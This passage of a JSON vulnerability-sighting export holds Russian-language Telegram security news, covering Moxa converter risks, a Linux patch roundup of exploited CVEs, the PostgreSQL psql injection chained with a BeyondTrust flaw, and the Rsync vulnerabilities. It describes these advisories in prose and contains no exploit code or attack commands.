\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u043b\u0438 \u044f\u043a\u043e\u0431\u044b \u0433\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0430\u0440\u0442\u043d\u0435\u0440\u044b \u0438\u043b\u0438 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u043d\u0430 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445. \u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u0442\u043e \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u0431\u044b\u0442\u044c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441 \u043c\u043e\u0449\u043d\u044b\u043c\u0438 \u0430\u043d\u0442\u0435\u043d\u043d\u0430\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0438\u043b\u0438\u0442\u044c \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b \u0438 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0438\u0437-\u0437\u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0435\u0449\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0442\u043e\u0447\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440\u044b Moxa, \u0438\u043b\u0438 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u043d\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\ud83d\udc40 \u0414\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u2014 PT Industrial Security Incident Manager. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b \u0441\u0432\u044f\u0437\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Moxa, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0443\u0436\u0431\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445.\n\n@Positive_Technologies", "creation_timestamp": "2026-07-26T07:01:22.943370Z"}, {"uuid": "7564a7aa-3b7f-4c6f-a3d2-f569505c9f72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-25)", "content": "", "creation_timestamp": "2026-07-26T10:00:03.433031Z"}, {"uuid": "557317a7-eea2-457d-aa95-d93513d0fbe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12905", "type": "seen", "source": "https://t.me/cyberwarehouse/834", "content": "\u041c\u0430\u0439\u0441\u043a\u0438\u0439 Linux Patch Wednesday. \u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043d\u043e\u0433\u043e - 1091. \u0418\u0437 \u043d\u0438\u0445 716 \u0432 Linux Kernel. \ud83e\udd2f \u0414\u043b\u044f 5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u0436\u0438\u0432\u0443\u044e:\n\n\ud83d\udd3b RCE - PHP CSS Parser (CVE-2020-13756). \u0412 AttackerKB, \u0435\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \n\ud83d\udd3b DoS - Apache ActiveMQ (CVE-2025-27533). \u0412 AttackerKB, \u0435\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \n\ud83d\udd3b SFB - Chromium (CVE-2025-4664). \u0412 CISA KEV.\n\ud83d\udd3b PathTrav - buildkit (CVE-2024-23652) \u0438 MemCor - buildkit (CVE-2024-23651). \u0412 \u0411\u0414\u0423 \u0424\u0421\u0422\u042d\u041a.\n\n\u0415\u0449\u0451 \u0434\u043b\u044f 52 (\u2757\ufe0f) \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430. \u0418\u0437 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c 2 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f \u0443\u0436\u0435 \u043f\u0438\u0441\u0430\u043b \u0440\u0430\u043d\u0435\u0435:\n\n\ud83d\udd38 RCE - Kubernetes \"IngressNightmare\" (CVE-2025-1974 \u0438 4 \u0434\u0440\u0443\u0433\u0438\u0445)\n\ud83d\udd38 RCE - Erlang/OTP (CVE-2025-32433)\n\n\u0422\u0430\u043a\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f: \n\n\ud83d\udd38 EoP - Linux Kernel (CVE-2023-53033)\n\ud83d\udd38 XSS - Horde IMP (CVE-2025-30349)\n\ud83d\udd38 PathTrav - tar-fs (CVE-2024-12905)\n\ud83d\udd38 SFB - kitty (CVE-2025-43929) \n\ud83d\udd38 DoS - libxml2 (CVE-2025-32414)\n\n\ud83d\uddd2 \u041f\u043e\u043b\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 Vulristics\n\n@avleonovrus #LinuxPatchWednesday #Vulristics #Linux #Kubernetes #IngressNightmare #Erlang #ErlangOTP", "creation_timestamp": "2026-07-27T00:00:30.440039Z"}, {"uuid": "69c40eb8-4846-4356-9f23-488b6ed9e1a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/EchelonEyes/3644", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PostgreSQL \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0443\u043b\u0435\u043b\u0432\u044b\u043c \u0434\u043d\u0435\u043c BeyondTrust \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u044f\u043b\u0438 \u0437\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 BeyondTrust Privileged Remote Access \u0438 Remote Support \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0442\u0430\u043a\u0436\u0435 \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 PostgreSQL. \u041a \u0442\u0430\u043a\u0438\u043c \u0432\u044b\u0432\u043e\u0434\u0430\u043c \u043f\u0440\u0438\u0448\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7.\n\n\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2025-1094 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,1), \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 PostgreSQL psql.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e CVE-2025-1094, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0442\u0435\u043c \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u044b\u00bb, - \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Rapid7.\n\n\u0412 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u2013 CVE-2024-12356 \u2013 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 BeyondTrust, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e, \u0447\u0442\u043e \u00ab\u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2024-12356 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2025-1094 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430\u00bb.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 PostgreSQL \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445: PostgreSQL 17 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 17.3), PostgreSQL 16 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 16.7), PostgreSQL 15 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 15.11), PostgreSQL 14 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 14.16) \u0438 PostgreSQL 13 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 13.19).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a PostgreSQL \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b UTF-8, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0434\u0432\u0435\u0440\u044c \u0434\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00ab\\!\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-27T00:00:38.125358Z"}, {"uuid": "1c75203e-31b7-45f4-9f0b-62c224305787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d 